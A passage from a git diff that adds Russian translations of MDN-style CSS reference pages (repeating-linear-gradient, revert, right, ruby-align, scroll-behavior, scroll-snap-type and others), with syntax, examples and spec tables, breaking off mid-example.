+ <dd>Угол наклона линии направления градиента. Значение <code>0deg</code> эквивалентно <code>to top</code>; увеличение значения приводит к повороту линии против часовой стрелки начиная от этой величины (<code>0deg</code>).</dd>
+ <dt><code>&lt;цвет-позиция&gt;</code></dt>
+ <dd>Значение {{cssxref("&lt;color&gt;", "&lt;цвета&gt;")}} с последующей (необязательной) его позицией (либо в {{cssxref("&lt;percentage&gt;", "&lt;процентах&gt;")}}, либо в единицах {{cssxref("&lt;length&gt;", "&lt;длины&gt;")}} вдоль оси градиента).</dd>
+ <dd>
+ <div class="note">
+ <p><strong>Примечание:</strong> Рендер <a href="#Gradient_with_multiple_color_stops">перехода цветов в CSS градиентах</a> следует тем же правилам что и в <a href="/en-US/docs/Web/SVG/Tutorial/Gradients">SVG градиентах</a>.</p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox notranslate">repeating-linear-gradient(  [ <a href="/en-US/CSS/angle">&lt;угол&gt;</a> | to &lt;сторона-или-угол&gt; ,]? &lt;цвет-позиция&gt; [, &lt;цвет-позиция&gt;]+ )
+                            \---------------------------------/ \----------------------------/
+                              Определение линии градиента         Список цветов и их позиций
+
+где <code>&lt;</code>сторона-или-угол<code>&gt; = [left | right] || [top | bottom]</code>
+   и <code>&lt;</code>цвет-позиция<code>&gt;    = &lt;цвет&gt; [ &lt;процент&gt; | &lt;длина&gt; ]?</code>
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Полоски_зебры">Полоски зебры</h3>
+
+<div class="hidden">
+<pre class="brush: css notranslate">body {
+  width: 100vw;
+  height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+  background-image: repeating-linear-gradient(-45deg,
+      transparent,
+      transparent 20px,
+      black 20px,
+      black 40px);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Полоски_зебры', 120, 120)}}</p>
+
+<h3 id="Повторяющиеся_горизонтальные_полосы">Повторяющиеся горизонтальные полосы</h3>
+
+<div class="hidden">
+<pre class="brush: css notranslate">body {
+  width: 100vw;
+  height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+  background-image: repeating-linear-gradient(to bottom,
+      rgb(26,198,204),
+      rgb(26,198,204) 7%,
+      rgb(100,100,100) 10%);
+}
+</pre>
+
+<p>{{EmbedLiveSample('Повторяющиеся_горизонтальные_полосы', 120, 120)}}</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Для дополнительных примеров пожалуйста обратитесь к статье <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Using CSS gradients</a>.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#repeating-gradients', 'repeating-linear-gradient()')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("css.types.image.gradient.repeating-linear-gradient")}}</div>
+
+<h2 id="Дополнительно">Дополнительно</h2>
+
+<ul>
+ <li><a href="/en/CSS/Using_CSS_gradients">Using CSS gradients</a></li>
+ <li>Другие функции градиентов: {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("repeating-radial-gradient")}}</li>
+</ul>
diff --git a/files/ru/web/css/resolved_value/index.html b/files/ru/web/css/resolved_value/index.html
new file mode 100644
index 0000000000..8ea7300dd7
--- /dev/null
+++ b/files/ru/web/css/resolved_value/index.html
@@ -0,0 +1,37 @@
+---
+title: Решённое значение
+slug: Web/CSS/resolved_value
+tags:
+  - CSS
+translation_of: Web/CSS/resolved_value
+---
+<div>{{cssref}}</div>
+
+<p><strong>Решённое значение</strong> CSS свойства - значение, возвращаемое {{domxref("Window.getComputedStyle", "getComputedStyle()")}}. Для многих свойств, это {{cssxref("computed_value", "вычисленное значение") }}, но для старых свойств (включая {{cssxref("width")}} и {{cssxref("height")}}), это {{cssxref("used_value", "используемое значение")}}. Смотрите ссылку спецификации ниже для дополнильной информации.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM", "#resolved-values", "resolved value")}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/Reference">Справка по CSS</a></li>
+ <li>{{CSS_key_concepts}}</li>
+ <li>{{domxref("window.getComputedStyle")}}</li>
+</ul>
diff --git a/files/ru/web/css/revert/index.html b/files/ru/web/css/revert/index.html
new file mode 100644
index 0000000000..3b61c5ad38
--- /dev/null
+++ b/files/ru/web/css/revert/index.html
@@ -0,0 +1,85 @@
+---
+title: revert
+slug: Web/CSS/revert
+translation_of: Web/CSS/revert
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">Ключевое слово <strong><code>revert</code></strong> (CSS) откатывает один текущий уровень каскада, таким образом свойство принимает такое значение, которое было бы, если бы не было никаких стилей в текущем источнике стилей (авторских, пользовательских или браузерных).</span> Как следствие, оно сбрасывает свойство к значению по-умолчанию, которое было установлено браузером (или пользовательскими стилями, если такие имеются). Ключевое слово <strong><code>revert</code></strong> может быть применимо к любому свойству CSS, включая сокращённое свойство {{cssxref("all")}}.</p>
+
+<p>Ключевое слово <code>revert</code> полезно для изоляции встраиваемых виджетов или компонентов от стилей страницы, где они размещаются, особенно, когда оно используется совместно со свойством {{cssxref("all")}} .</p>
+
+<p>В пользовательских стилях <code>revert</code> откатывает каскад и сбрасывает свойство к значению по-умолчанию, которое было установлено браузером.</p>
+
+<div class="note">
+<p>Ключевое слово <code>revert</code> отличается от {{cssxref("initial")}}, поэтому его не следует с ним путать. {{cssxref("initial")}} использует <a href="/ru/docs/Web/CSS/initial_value">начальное значение</a>, которое определено отдельно для каждого свойства CSS-спецификацией.  Для сравнения, браузеры устанавливают значения по-умолчанию в зависимости от CSS селектора.</p>
+
+<p>Например, <a href="/ru/docs/Web/CSS/initial_value">начальное значение</a> для свойства {{cssxref("display")}} — <code>inline</code>, тогда как браузер устанавливает значение по-умолчанию свойства {{cssxref("display")}}  элемента {{HTMLElement("div")}} как <code>block</code>, а элемента {{HTMLElement("table")}} как <code>table</code>, и т.д</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;section&gt;
+  &lt;p&gt;Это секция!&lt;/p&gt;
+
+  &lt;aside class="widget"&gt;
+    &lt;p&gt;А это маленький виджет.&lt;/p&gt;
+  &lt;/aside&gt;
+&lt;/section&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">section {
+  color: blue;
+  font-family: sans-serif;
+  font-weight: bold;
+}
+
+.widget {
+  all: revert;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример')}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Cascade', '#default', 'revert')}}</td>
+   <td>{{Spec2('CSS4 Cascade')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("css.types.global_keywords.revert")}}</p>
+</div>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Используйте {{cssxref("initial")}}, чтобы установить свойству начальное значение.</li>
+ <li>Используйте {{cssxref("unset")}}, чтобы установить свойству унаследованное значение, если оно наследуется, в противном случае начальное значение.</li>
+ <li>Используйте {{cssxref("inherit")}}, чтобы установить значение свойства элемента таким же, как у его родителя.</li>
+ <li>Свойство {{cssxref("all")}} позволяет одновременно сбросить все свойства к их начальному, унаследованному, откатанному или обнулённому состоянию.</li>
+</ul>
diff --git a/files/ru/web/css/right/index.html b/files/ru/web/css/right/index.html
new file mode 100644
index 0000000000..8944f81b7f
--- /dev/null
+++ b/files/ru/web/css/right/index.html
@@ -0,0 +1,141 @@
+---
+title: right
+slug: Web/CSS/right
+tags:
+  - CSS
+  - CSS Позиционирование
+  - CSS свойство
+translation_of: Web/CSS/right
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS" title="CSS">CSS</a> свойство <strong><code>right</code></strong> частично определяет горизонтальное положение позиционируемого элемента. Оно не влияет на непозиционируемые элементы (т.е. <strong><code>right</code></strong> не применится, если задано <code>position: static</code>).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/right.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в GitHub репозитории. Если вы хотите внести свой вклад в проект интерактивных примеров, скопируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на перенос.</p>
+
+<p>Эффект свойства <code>right</code> зависит от того, как позиционируется элемент (то есть от значения свойства {{cssxref("position")}}):</p>
+
+<ul>
+ <li>Когда задано <code>position: absolute</code> или <code>fixed</code> — свойство <code>right</code> устанавливает расстояние между правым краем элемента и правым краем содержащего его блока.</li>
+ <li>Когда задано <code>position: relative</code> — свойство <code>right</code> устанавливает расстояние, на которое правый край элемента перемещается влево от его обычной позиции.</li>
+ <li>Когда задано <code>position: sticky</code> — свойство <code>right</code> работает так, как при <code>position: relative</code> во время нахождения элемента внутри области просмотра, и как <code>position: fixed</code> вне области просмотра.</li>
+ <li>Когда задано <code>position: static</code> — свойство <code>right</code> <em>не имеет никакого эффекта</em>.</li>
+</ul>
+
+<p>Когда заданы оба свойства {{cssxref("left")}} и <code>right</code>, и элемент не может растянуться, чтобы им соответсвовать, то позиционированние элемента is<em> overspecified</em>. В этом случае значение <code>left</code> имеет приоритет, when the container is left-to-right; и наоборот, значение <code>right</code> имеет приоритет,  when the container is right-to-left.</p>
+
+<h2 id="Синтаксис" name="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* Значения величин */
+right: 3px;
+right: 2.4em;
+
+/* Процентные значения от высоты родительского блока */
+right: 10%;
+
+/* Ключевое слово */
+right: auto;
+
+/* Глобальные значения */
+right: inherit;
+right: initial;
+right: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Отрицательная, нулевая или положительная величина, которая представляет:
+ <ul>
+  <li>for <em>absolutely positioned elements</em>, the distance to the right edge of the containing block.</li>
+  <li>for <em>relatively positioned elements</em>, the distance that the element is moved to the left of its normal position.</li>
+ </ul>
+ </dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>A {{cssxref("&lt;percentage&gt;")}} of the containing block's width.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Specifies that:
+ <ul>
+  <li>for <em>absolutely positioned elements</em>, the position of the element is based on the {{Cssxref("left")}} property, while <code>width: auto</code> is treated as a width based on the content; or if <code>left</code> is also <code>auto</code>, the element is positioned where it should horizontally be positioned if it were a static element.</li>
+  <li>for <em>relatively positioned elements</em>, the distance of the element from its normal position is based on the {{Cssxref("left")}} property; or if <code>left</code> is also <code>auto</code>, the element is not moved horizontally at all.</li>
+ </ul>
+ </dd>
+ <dt><code>inherit</code></dt>
+ <dd>Specifies that the value is the same as the computed value from its parent element (which might not be its containing block). This computed value is then handled as if it were a {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}}, or the <code>auto</code> keyword.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры" name="Примеры">Примеры</h2>
+
+<pre class="brush: css; highlight:[16]">#example_3 {
+  width: 100px;
+  height: 100px;
+  background-color: #FFC7E4;
+  position: relative;
+  top: 20px;
+  left: 20px;
+}
+
+#example_4 {
+  width: 100px;
+  height: 100px;
+  background-color: #FFD7C2;
+  position: absolute;
+  bottom: 10px;
+  right: 20px;
+}</pre>
+
+<pre class="brush: html">&lt;div id="example_3"&gt;Example 3&lt;/div&gt;
+&lt;div id="example_4"&gt;Example 4&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Examples', 500, 220) }}</p>
+
+<h2 id="Спецификации" name="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'right')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Defines <code>right</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Positioning', '#propdef-right', 'right')}}</td>
+   <td>{{Spec2('CSS3 Positioning')}}</td>
+   <td>Adds behavior for sticky positioning.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#propdef-right', 'right')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.right")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("position")}}, {{cssxref("left")}}, {{cssxref("top")}}, {{cssxref("bottom")}}</li>
+</ul>
diff --git a/files/ru/web/css/ruby-align/index.html b/files/ru/web/css/ruby-align/index.html
new file mode 100644
index 0000000000..24870c5d3d
--- /dev/null
+++ b/files/ru/web/css/ruby-align/index.html
@@ -0,0 +1,234 @@
+---
+title: ruby-align
+slug: Web/CSS/ruby-align
+translation_of: Web/CSS/ruby-align
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>The <code><strong>ruby-align</strong></code> CSS property defines the distribution of the different ruby elements over the base.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css">/* Keyword values */
+ruby-align: start;
+ruby-align: center;
+ruby-align: space-between;
+ruby-align: space-around;
+
+/* Global values */
+ruby-align: inherit;
+ruby-align: initial;
+ruby-align: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>Is a keyword indicating that the ruby will be aligned with the start of the base text.</dd>
+ <dt><code>center</code></dt>
+ <dd>Is a keyword indicating that the ruby will be aligned at the middle of the base text</dd>
+ <dt><code>space-between</code></dt>
+ <dd>Is a keyword indicating that the extra space will be distributed between the elements of the ruby.</dd>
+ <dt><code>space-around</code></dt>
+ <dd>Is a keyword indicating that the extra space will be distributed between the elements of the ruby, and around it.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This HTML will render differently with each value of <code>ruby-align</code>:</p>
+
+<pre class="brush: html">&lt;ruby&gt;
+  &lt;rb&gt;This is a long text to check&lt;/rb&gt;
+  &lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;short ruby&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;
+&lt;/ruby&gt;
+</pre>
+
+<h3 id="Ruby_aligned_at_the_start_of_the_base_text">Ruby aligned at the start of the base text</h3>
+
+<pre class="brush: html" style="display: none;">&lt;ruby&gt;
+  &lt;rb&gt;This is a long text to check&lt;/rb&gt;
+  &lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;short ruby&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;
+&lt;/ruby&gt;
+</pre>
+
+<pre class="brush: css">ruby {
+    ruby-align:start;
+}</pre>
+
+<p>This gives the following result:</p>
+
+<p>{{EmbedLiveSample("Ruby_aligned_at_the_start_of_the_base_text", 180, 40)}}</p>
+
+<h3 id="Ruby_aligned_at_the_center_of_the_base_text">Ruby aligned at the center of the base text</h3>
+
+<pre class="brush: html" style="display: none;">&lt;ruby&gt;
+  &lt;rb&gt;This is a long text to check&lt;/rb&gt;
+  &lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;short ruby&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;
+&lt;/ruby&gt;
+</pre>
+
+<pre class="brush: css">ruby {
+    ruby-align:center;
+}</pre>
+
+<p>This gives the following result:</p>
+
+<p>{{EmbedLiveSample("Ruby_aligned_at_the_center_of_the_base_text", 180, 40)}}</p>
+
+<h3 id="Extra_space_distributed_between_ruby_elements">Extra space distributed between ruby elements</h3>
+
+<pre class="brush: html" style="display: none;">&lt;ruby&gt;
+  &lt;rb&gt;This is a long text to check&lt;/rb&gt;
+  &lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;short ruby&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;
+&lt;/ruby&gt;
+</pre>
+
+<pre class="brush: css">ruby {
+    ruby-align:space-between;
+}</pre>
+
+<p>This gives the following result:</p>
+
+<p>{{EmbedLiveSample("Extra_space_distributed_between_ruby_elements", 180, 40)}}</p>
+
+<h3 id="Extra_space_distributed_between_and_around_ruby_element">Extra space distributed between and around ruby element</h3>
+
+<pre class="brush: html" style="display: none;">&lt;ruby&gt;
+  &lt;rb&gt;This is a long text to check&lt;/rb&gt;
+  &lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;short ruby&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;
+&lt;/ruby&gt;
+</pre>
+
+<pre class="brush: css">ruby {
+    ruby-align:space-around;
+}</pre>
+
+<p>This gives the following result:</p>
+
+<p>{{EmbedLiveSample("Extra_space_distributed_between_and_around_ruby_element", 180, 40)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Ruby', '#ruby-align-property', 'ruby-align') }}</td>
+   <td>{{ Spec2('CSS3 Ruby') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td rowspan="1">Basic support</td>
+   <td rowspan="1">{{ CompatNo }} </td>
+   <td>{{CompatGeckoDesktop(38)}}</td>
+   <td rowspan="1">{{ CompatNo }} [1]</td>
+   <td rowspan="1">{{ CompatNo }} </td>
+   <td rowspan="1">{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo }} </td>
+   <td>{{CompatGeckoMobile(38)}}</td>
+   <td>{{ CompatNo }} [1]</td>
+   <td>{{ CompatNo }} </td>
+   <td>CompatNo</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer, since IE9, implements an early draft of CSS Ruby where <code>ruby-align</code> had the following properties: <code>auto</code>, <code>left</code>, <code>center</code>, <code>right</code>, <code>distribute-letter</code>, <code>distribute-space</code>, and <code>line-edge</code>. Here is a rough conversion table:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">IE syntax</th>
+   <th scope="col">Standard syntax</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>auto</code></td>
+   <td>Don't use <code>ruby-align</code></td>
+  </tr>
+  <tr>
+   <td><code>left</code></td>
+   <td>Use <code>start</code> (in ltr scripts)</td>
+  </tr>
+  <tr>
+   <td><code>center</code></td>
+   <td><code>center</code></td>
+  </tr>
+  <tr>
+   <td><code>right</code></td>
+   <td>Use <code>start</code> (in rtl scripts)</td>
+  </tr>
+  <tr>
+   <td><code>distribute-letter</code></td>
+   <td>No direct equivalent, use <code>space-between</code> or <code>space-around</code></td>
+  </tr>
+  <tr>
+   <td><code>distribute-space</code></td>
+   <td><code>space-around</code></td>
+  </tr>
+  <tr>
+   <td><code>line-edge</code></td>
+   <td>No direct equivalent.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>HTML Ruby elements: {{HTMLElement("ruby")}}, {{HTMLElement("rt")}}, {{HTMLElement("rp")}}, and {{HTMLElement("rtc")}}.</li>
+ <li>CSS Ruby properties: {{cssxref("ruby-position")}}, {{cssxref("ruby-merge")}}.</li>
+</ul>
diff --git a/files/ru/web/css/scroll-behavior/index.html b/files/ru/web/css/scroll-behavior/index.html
new file mode 100644
index 0000000000..8ba0b4f9f7
--- /dev/null
+++ b/files/ru/web/css/scroll-behavior/index.html
@@ -0,0 +1,114 @@
+---
+title: scroll-behavior
+slug: Web/CSS/scroll-behavior
+translation_of: Web/CSS/scroll-behavior
+---
+<div>{{ CSSRef }}</div>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p><strong><code>scroll-behavior</code></strong> - CSS свойство, которое определяет поведение прокрутки для любого элемента на странице. Отрабатывается в момент автоматической прокрутки навигационных элементов, либо CSSOM прокручивается API. Любые другие прокручивания, например, те, которые выполняются пользователем, не затрагиваются этим свойством. Если это свойство указано на корневой элемент, оно относится ко всему <em>viewport</em> пространству.</p>
+
+<p>Юзер-агенты могут игнорировать это свойство.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush:css">/* Ключевые значения */
+scroll-behavior: auto;
+scroll-behavior: smooth;
+
+/* Глобальные свойства */
+scroll-behavior: inherit;
+scroll-behavior: initial;
+scroll-behavior: unset;
+</pre>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Стандартное поведение прокрутки без эффекта плавности.</dd>
+ <dt><code>smooth</code></dt>
+ <dd>Элемент прокручивается плавно; используется функция тайминга, определяемая юзер-агентом через период времени, отмеченный в нем. Юзер-агенты должны следовать соглашениям платформы, если таковые имеются.</dd>
+</dl>
+
+<h3 id="Синтаксис">Синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;nav&gt;
+  &lt;a href="#page-1"&gt;1&lt;/a&gt;
+  &lt;a href="#page-2"&gt;2&lt;/a&gt;
+  &lt;a href="#page-3"&gt;3&lt;/a&gt;
+&lt;/nav&gt;
+&lt;scroll-container&gt;
+  &lt;scroll-page id="page-1"&gt;1&lt;/scroll-page&gt;
+  &lt;scroll-page id="page-2"&gt;2&lt;/scroll-page&gt;
+  &lt;scroll-page id="page-3"&gt;3&lt;/scroll-page&gt;
+&lt;/scroll-container&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a {
+  display: inline-block;
+  width: 50px;
+  text-decoration: none;
+}
+nav, scroll-container {
+  display: block;
+  margin: 0 auto;
+  text-align: center;
+}
+nav {
+  width: 339px;
+  padding: 5px;
+  border: 1px solid black;
+}
+scroll-container {
+  display: block;
+  width: 350px;
+  height: 200px;
+  overflow-y: scroll;
+  scroll-behavior: smooth;
+}
+scroll-page {
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  height: 100%;
+  font-size: 5em;
+}
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Example', "100%", 250) }}</p>
+
+<h2 id="Specifications" name="Specifications">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Характеристика</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', "#propdef-scroll-behavior", 'scroll-behavior')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Initial specification</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("css.properties.scroll-behavior")}}</p>
diff --git a/files/ru/web/css/scroll-snap-type/index.html b/files/ru/web/css/scroll-snap-type/index.html
new file mode 100644
index 0000000000..2691947063
--- /dev/null
+++ b/files/ru/web/css/scroll-snap-type/index.html
@@ -0,0 +1,247 @@
+---
+title: scroll-snap-type
+slug: Web/CSS/scroll-snap-type
+translation_of: Web/CSS/scroll-snap-type
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS">CSS</a> свойство <strong><code>scroll-snap-type</code></strong> определяет как строго прокрутка контейнера привязывается к  точкам привязки.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-snap-type.html")}}</div>
+
+
+
+<p>Это свойство не уточняет какие именно анимации используются для привязки прокрутки, это остаётся за агентом пользователя.</p>
+
+<pre class="brush:css no-line-numbers">/* Ключевые слова */
+scroll-snap-type: none;
+scroll-snap-type: x;
+scroll-snap-type: y;
+scroll-snap-type: block;
+scroll-snap-type: inline;
+scroll-snap-type: both;
+
+/* Опционально mandatory | proximity*/
+scroll-snap-type: x mandatory;
+scroll-snap-type: y proximity;
+scroll-snap-type: both mandatory;
+
+/* и т.д. */
+
+/* Глобальные значения */
+scroll-snap-type: inherit;
+scroll-snap-type: initial;
+scroll-snap-type: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Когда визуальный {{Glossary("viewport")}} этого контейнера прокручивается, точки прокрутки игнорируются.</dd>
+ <dt><code>x</code></dt>
+ <dd>Прокрутка контейнера привязывается только по горизонтальной оси.</dd>
+ <dt><code>y</code></dt>
+ <dd>Прокрутка контейнера привязывается только по вертикальной оси.</dd>
+ <dt><code>block</code></dt>
+ <dd>Прокрутка контейнера привязывается только по блоковой оси.</dd>
+ <dt><code>inline</code></dt>
+ <dd>Прокрутка контейнера привязывается только по строчной оси.</dd>
+ <dt><code>both</code></dt>
+ <dd>Прокрутка контейнера независимо привязывается только по обоим осям (потенциально может привязываться к разным элементам на разных осях).</dd>
+ <dt><code>mandatory</code></dt>
+ <dd>Визуальный viewport контейнера остаётся на точке привязки, если он в данный момент не прокручивается. То есть он привязывается к точке, когда прокручивание завершилось. Если контент добавлен, перемещён, удалён или если изменён его размер, прокрутка будет отрегулирована так, чтобы оставаться на этой же точке.</dd>
+ <dt><code>proximity</code></dt>
+ <dd>Визуальный viewport контейнера может оставаться на точке привязки, если он в данный момент не прокручивается, в зависимости от параметров пользовательского агента. Если контент добавлен, перемещён, удалён или если изменён его размер, прокрутка может быть отрегулирована так, чтобы оставаться на этой же точке.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="holster"&gt;
+&lt;div class="container x mandatory-scroll-snapping" dir="ltr"&gt;
+  &lt;div&gt;X Mand. LTR&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container x proximity-scroll-snapping" dir="ltr"&gt;
+  &lt;div&gt;X Prox. LTR&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container y mandatory-scroll-snapping" dir="ltr"&gt;
+  &lt;div&gt;Y Mand. LTR&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
+  &lt;div&gt;3&lt;/div&gt;
+  &lt;div&gt;4&lt;/div&gt;
+  &lt;div&gt;5&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="container y proximity-scroll-snapping" dir="ltr"&gt;
+  &lt;div&gt;Y Prox. LTR&lt;/div&gt;
+  &lt;div&gt;2&lt;/div&gt;
